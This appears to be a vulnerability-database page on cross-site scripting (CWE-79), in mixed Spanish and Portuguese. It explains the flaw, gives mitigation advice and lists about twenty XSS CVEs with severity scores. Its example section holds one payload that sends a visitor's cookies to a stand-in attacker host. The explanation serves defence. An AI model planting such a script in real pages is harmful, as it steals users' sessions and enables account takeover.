Fallos del tipo CWE-79

30.295 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-49502MEDIUMReflected XSS in Setup Wizard, HTTP Proxy credentials pane in spacewalk-webEPSS 0.3%CVE-2025-47458HIGHWordPress B2i Investor Tools plugin <= 1.0.7.9 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2023-38329MEDIUMAn issue was discovered in eGroupWare 17.1.20190111. A cross-site scripting Reflected (XSS) vulnerability exists in calendar/freebusy.php, wEPSS 0.3%CVE-2026-34562MEDIUMCI4MS: System Settings (Company Information) Full Platform Compromise & Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSSEPSS 0.3%CVE-2024-41346MEDIUMopenflights commit 5234b5b is vulnerable to Cross-Site Scripting (XSS) via php/submit.phpEPSS 0.3%CVE-2025-13678MEDIUMThai Lottery Widget <= 2.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.3%CVE-2024-41943MEDIUMI, Librarian Stored XSS vulnerability in Item SummaryEPSS 0.3%CVE-2024-13445MEDIUMElementor Website Builder – More Than Just a Page Builder <= 3.27.4 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-52585LOWAutolab has HTML Injection VulnerabilityEPSS 0.3%CVE-2024-9888MEDIUMElementInvader Addons for Elementor <= 1.2.8 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-35655MEDIUMWordPress Brave – Interactive Content plugin <= 0.6.9 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-3087MEDIUMStored XSS Vulnerability in M-Files WebEPSS 0.3%CVE-2024-43413LOWXibo CMS XSS vulnerability using DataSet HTML columnsEPSS 0.3%CVE-2024-9873MEDIUMCommunity by PeepSo <= 6.4.6.1 - Authenticated (Subscriber+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-49503MEDIUMReflected XSS in Setup Wizard, Organization Credentials in spacewalk-webEPSS 0.3%CVE-2026-25144MEDIUMTalishar has a Stored XSS which can lead to data exfiltration & user impersonationEPSS 0.3%CVE-2025-46456HIGHWordPress Theme Blvd Sliders plugin <= 1.2.5 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-8765MEDIUMDatacom DM955 5GT 1200 Wireless Basic Settings cross site scriptingEPSS 0.3%CVE-2025-67491HIGHOpenEMR has Stored XSS in ub04 helperEPSS 0.3%CVE-2026-55660HIGHTinaCMS: Cross-origin postMessage handlers and rich-text URL-sanitization bypass enable stored XSS and session takeoverEPSS 0.3%